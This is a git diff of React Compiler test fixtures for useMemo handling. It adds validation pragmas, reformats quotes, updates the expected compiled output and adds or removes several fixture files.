diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.js
index cc8a9f299e52..85c63f7470cf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-labeled-statement-unconditional-return.js
@@ -1,3 +1,4 @@
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     label: {
@@ -9,6 +10,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.expect.md
index bf10ff649c04..aa195e650a64 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => props.a && props.b);
   return x;
@@ -9,8 +10,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -18,10 +19,9 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
-  let t0;
-  t0 = props.a && props.b;
-  const x = t0;
+  const x = props.a && props.b;
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.js
index cc458dc4bdde..1f05ae7d6a36 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-logical.js
@@ -1,3 +1,4 @@
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => props.a && props.b);
   return x;
@@ -5,6 +6,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.expect.md
index b4cbfe60d662..b7f36a1aa9f4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.expect.md
@@ -2,14 +2,9 @@
 ## Input
 
 ```javascript
-// @enablePreserveExistingMemoizationGuarantees:false
-import { useMemo } from "react";
-import {
-  identity,
-  makeObject_Primitives,
-  mutate,
-  useHook,
-} from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';
 
 function Component(props) {
   // With the feature disabled these variables are inferred as being mutated inside the useMemo block
@@ -33,7 +28,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -41,7 +36,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-// @enablePreserveExistingMemoizationGuarantees:false
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 import { useMemo } from "react";
 import {
   identity,
@@ -56,13 +51,11 @@ function Component(props) {
   const part = free2.part;
 
   useHook();
-  let t0;
 
   const x = makeObject_Primitives();
   x.value = props.value;
   mutate(x, free, part);
-  t0 = x;
-  const object = t0;
+  const object = x;
 
   identity(free);
   identity(part);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.js
index 3f556759f7a4..316174846642 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-dont-preserve-memoization-guarantees.js
@@ -1,11 +1,6 @@
-// @enablePreserveExistingMemoizationGuarantees:false
-import { useMemo } from "react";
-import {
-  identity,
-  makeObject_Primitives,
-  mutate,
-  useHook,
-} from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';
 
 function Component(props) {
   // With the feature disabled these variables are inferred as being mutated inside the useMemo block
@@ -29,5 +24,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.expect.md
index d54fd0b5cafc..fc512f8c0b6e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.expect.md
@@ -3,13 +3,8 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import {
-  identity,
-  makeObject_Primitives,
-  mutate,
-  useHook,
-} from "shared-runtime";
+import {useMemo} from 'react';
+import {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';
 
 function Component(props) {
   // With the feature enabled these variables are inferred as frozen as of
@@ -38,7 +33,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -76,7 +71,6 @@ function Component(props) {
   const part = free2.part;
 
   useHook();
-  let t2;
   let x;
   if ($[2] !== props.value) {
     x = makeObject_Primitives();
@@ -87,11 +81,11 @@ function Component(props) {
   } else {
     x = $[3];
   }
-  t2 = x;
-  const object = t2;
+  const object = x;
 
   identity(free);
   identity(part);
+
   return object;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.js
index e445abe11f9f..4647e8845ca5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-mabye-modified-free-variable-preserve-memoization-guarantees.js
@@ -1,11 +1,6 @@
 // @enablePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import {
-  identity,
-  makeObject_Primitives,
-  mutate,
-  useHook,
-} from "shared-runtime";
+import {useMemo} from 'react';
+import {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';
 
 function Component(props) {
   // With the feature enabled these variables are inferred as frozen as of
@@ -34,5 +29,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.expect.md
index c033932b31a1..ac8c52187ed0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees:false
-import { useMemo } from "react";
-import { identity, makeObject_Primitives, mutate } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity, makeObject_Primitives, mutate} from 'shared-runtime';
 
 function Component(props) {
   const object = useMemo(() => makeObject_Primitives(), []);
@@ -27,18 +27,14 @@ import { useMemo } from "react";
 import { identity, makeObject_Primitives, mutate } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(2);
-  let t0;
+  const $ = _c(1);
   let object;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = makeObject_Primitives();
-    object = t0;
+    object = makeObject_Primitives();
     identity(object);
     $[0] = object;
-    $[1] = t0;
   } else {
     object = $[0];
-    t0 = $[1];
   }
   return object;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.js
index 44c08441e3d5..01ebbbbcbbef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-dont-preserve-memoization-guarantees.js
@@ -1,6 +1,6 @@
 // @enablePreserveExistingMemoizationGuarantees:false
-import { useMemo } from "react";
-import { identity, makeObject_Primitives, mutate } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity, makeObject_Primitives, mutate} from 'shared-runtime';
 
 function Component(props) {
   const object = useMemo(() => makeObject_Primitives(), []);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.expect.md
index 90260baaeffc..7eddc14c7967 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity, makeObject_Primitives, mutate } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity, makeObject_Primitives, mutate} from 'shared-runtime';
 
 function Component(props) {
   const object = useMemo(() => makeObject_Primitives(), []);
@@ -29,14 +29,12 @@ import { identity, makeObject_Primitives, mutate } from "shared-runtime";
 function Component(props) {
   const $ = _c(1);
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = makeObject_Primitives();
-    $[0] = t1;
+    t0 = makeObject_Primitives();
+    $[0] = t0;
   } else {
-    t1 = $[0];
+    t0 = $[0];
   }
-  t0 = t1;
   const object = t0;
   identity(object);
   return object;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.js
index 961fc974a24c..acd744f76b46 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-maybe-modified-later-preserve-memoization-guarantees.js
@@ -1,6 +1,6 @@
 // @enablePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity, makeObject_Primitives, mutate } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity, makeObject_Primitives, mutate} from 'shared-runtime';
 
 function Component(props) {
   const object = useMemo(() => makeObject_Primitives(), []);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.expect.md
index 1141297f0107..3ef546b078a6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.expect.md
@@ -2,7 +2,8 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
+// @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
 function Component(props) {
   const x = useMemo(() => {
@@ -21,7 +22,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1, b: 2, cond2: false }],
+  params: [{a: 1, b: 2, cond2: false}],
 };
 
 ```
@@ -29,35 +30,42 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @validateExhaustiveMemoizationDependencies:false
 import { useMemo } from "react";
 
 function Component(props) {
-  const $ = _c(3);
+  const $ = _c(5);
   let t0;
-  bb0: {
-    let y;
-    if ($[0] !== props) {
-      y = [];
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.cond ||
+    $[3] !== props.cond2
+  ) {
+    bb0: {
+      const y = [];
       if (props.cond) {
         y.push(props.a);
       }
+
       if (props.cond2) {
         t0 = y;
         break bb0;
       }
 
       y.push(props.b);
-      $[0] = props;
-      $[1] = y;
-      $[2] = t0;
-    } else {
-      y = $[1];
-      t0 = $[2];
+      t0 = y;
     }
-    t0 = y;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.cond;
+    $[3] = props.cond2;
+    $[4] = t0;
+  } else {
+    t0 = $[4];
   }
   const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.js
index 5d1a08567e4b..b51cc5fb5f18 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-if-else.js
@@ -1,4 +1,5 @@
-import { useMemo } from "react";
+// @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
 function Component(props) {
   const x = useMemo(() => {
@@ -17,5 +18,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1, b: 2, cond2: false }],
+  params: [{a: 1, b: 2, cond2: false}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-returns.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-returns.expect.md
new file mode 100644
index 000000000000..0fa2700721b4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-returns.expect.md
@@ -0,0 +1,51 @@
+
+## Input
+
+```javascript
+// @validateNoVoidUseMemo
+function Component({items}) {
+  const value = useMemo(() => {
+    for (let item of items) {
+      if (item.match) return item;
+    }
+    return null;
+  }, [items]);
+  return <div>{value}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoVoidUseMemo
+function Component(t0) {
+  const $ = _c(2);
+  const { items } = t0;
+  let t1;
+  bb0: {
+    for (const item of items) {
+      if (item.match) {
+        t1 = item;
+        break bb0;
+      }
+    }
+
+    t1 = null;
+  }
+  const value = t1;
+  let t2;
+  if ($[0] !== value) {
+    t2 = <div>{value}</div>;
+    $[0] = value;
+    $[1] = t2;
+  } else {
+    t2 = $[1];
+  }
+  return t2;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-returns.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-returns.js
new file mode 100644
index 000000000000..dce32663f1cb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-multiple-returns.js
@@ -0,0 +1,10 @@
+// @validateNoVoidUseMemo
+function Component({items}) {
+  const value = useMemo(() => {
+    for (let item of items) {
+      if (item.match) return item;
+    }
+    return null;
+  }, [items]);
+  return <div>{value}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.expect.md
index d03fb7bea0ed..4d1cc124006c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.expect.md
@@ -2,8 +2,9 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
-import { makeArray } from "shared-runtime";
+// @validateNoSetStateInRender:false @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {makeArray} from 'shared-runtime';
 
 function Component() {
   const x = useMemo(makeArray, []);
@@ -20,7 +21,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @validateNoSetStateInRender:false @enablePreserveExistingMemoizationGuarantees:false
 import { useMemo } from "react";
 import { makeArray } from "shared-runtime";
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.ts
index f194a281ecb2..20a377c47497 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-named-function.ts
@@ -1,5 +1,6 @@
-import { useMemo } from "react";
-import { makeArray } from "shared-runtime";
+// @validateNoSetStateInRender:false @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {makeArray} from 'shared-runtime';
 
 function Component() {
   const x = useMemo(makeArray, []);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.expect.md
index f3d8f1bc7d26..a3cc39d88019 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.expect.md
@@ -2,10 +2,12 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     if (props.cond) {
       if (props.cond) {
+        return props.value;
       }
     }
   }, [props.cond]);
@@ -14,8 +16,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -23,11 +25,21 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
-  if (props.cond) {
+  let t0;
+  bb0: {
     if (props.cond) {
+      if (props.cond) {
+        t0 = props.value;
+        break bb0;
+      }
     }
+    t0 = undefined;
   }
+  const x = t0;
+
+  return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.js
index 055f48d9934c..02890978ad19 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-nested-ifs.js
@@ -1,7 +1,9 @@
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     if (props.cond) {
       if (props.cond) {
+        return props.value;
       }
     }
   }, [props.cond]);
@@ -10,6 +12,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-return-empty.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-return-empty.expect.md
deleted file mode 100644
index be20ee39bd4e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-return-empty.expect.md
+++ /dev/null
@@ -1,22 +0,0 @@
-
-## Input
-
-```javascript
-function component(a) {
-  let x = useMemo(() => {
-    mutate(a);
-  }, []);
-  return x;
-}
-
-```
-
-## Code
-
-```javascript
-function component(a) {
-  mutate(a);
-}
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-return-empty.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-return-empty.js
deleted file mode 100644
index 0d9b54d989bd..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-return-empty.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function component(a) {
-  let x = useMemo(() => {
-    mutate(a);
-  }, []);
-  return x;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved-nomemo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved-nomemo.expect.md
deleted file mode 100644
index eac860762882..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved-nomemo.expect.md
+++ /dev/null
@@ -1,66 +0,0 @@
-
-## Input
-
-```javascript
-// @disableMemoizationForDebugging
-import { useMemo } from "react";
-
-function Component({ a }) {
-  let x = useMemo(() => [a], []);
-  return <div>{x}</div>;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 42 }],
-  isComponent: true,
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @disableMemoizationForDebugging
-import { useMemo } from "react";
-
-function Component(t0) {
-  const $ = _c(5);
-  const { a } = t0;
-  let t1;
-  if ($[0] !== a || true) {
-    t1 = () => [a];
-    $[0] = a;
-    $[1] = t1;
-  } else {
-    t1 = $[1];
-  }
-  let t2;
-  if ($[2] === Symbol.for("react.memo_cache_sentinel") || true) {
-    t2 = [];
-    $[2] = t2;
-  } else {
-    t2 = $[2];
-  }
-  const x = useMemo(t1, t2);
-  let t3;
-  if ($[3] !== x || true) {
-    t3 = <div>{x}</div>;
-    $[3] = x;
-    $[4] = t3;
-  } else {
-    t3 = $[4];
-  }
-  return t3;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 42 }],
-  isComponent: true,
-};
-
-```
-      
-### Eval output
-(kind: ok) <div>42</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved-nomemo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved-nomemo.js
deleted file mode 100644
index b68649d92838..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved-nomemo.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// @disableMemoizationForDebugging
-import { useMemo } from "react";
-
-function Component({ a }) {
-  let x = useMemo(() => [a], []);
-  return <div>{x}</div>;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 42 }],
-  isComponent: true,
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved.expect.md
deleted file mode 100644
index 6c813c27a680..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved.expect.md
+++ /dev/null
@@ -1,66 +0,0 @@
-
-## Input
-
-```javascript
-// @enablePreserveExistingManualUseMemo
-import { useMemo } from "react";
-
-function Component({ a }) {
-  let x = useMemo(() => [a], []);
-  return <div>{x}</div>;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 42 }],
-  isComponent: true,
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingManualUseMemo
-import { useMemo } from "react";
-
-function Component(t0) {
-  const $ = _c(5);
-  const { a } = t0;
-  let t1;
-  if ($[0] !== a) {
-    t1 = () => [a];
-    $[0] = a;
-    $[1] = t1;
-  } else {
-    t1 = $[1];
-  }
-  let t2;
-  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-    t2 = [];
-    $[2] = t2;
-  } else {
-    t2 = $[2];
-  }
-  const x = useMemo(t1, t2);
-  let t3;
-  if ($[3] !== x) {
-    t3 = <div>{x}</div>;
-    $[3] = x;
-    $[4] = t3;
-  } else {
-    t3 = $[4];
-  }
-  return t3;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 42 }],
-  isComponent: true,
-};
-
-```
-      
-### Eval output
-(kind: ok) <div>42</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved.js
deleted file mode 100644
index a5731f2f09d4..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple-preserved.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// @enablePreserveExistingManualUseMemo
-import { useMemo } from "react";
-
-function Component({ a }) {
-  let x = useMemo(() => [a], []);
-  return <div>{x}</div>;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: 42 }],
-  isComponent: true,
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple.expect.md
index 712cb156d8db..301d9860f33b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-simple.expect.md
@@ -16,25 +16,23 @@ import { c as _c } from "react/compiler-runtime";
 function component(a) {
   const $ = _c(4);
   let t0;
-  let t1;
   if ($[0] !== a) {
-    t1 = [a];
+    t0 = [a];
     $[0] = a;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   const x = t0;
-  let t2;
+  let t1;
   if ($[2] !== x) {
-    t2 = <Foo x={x} />;
+    t1 = <Foo x={x} />;
     $[2] = x;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  return t2;
+  return t1;
 }
 
 ```
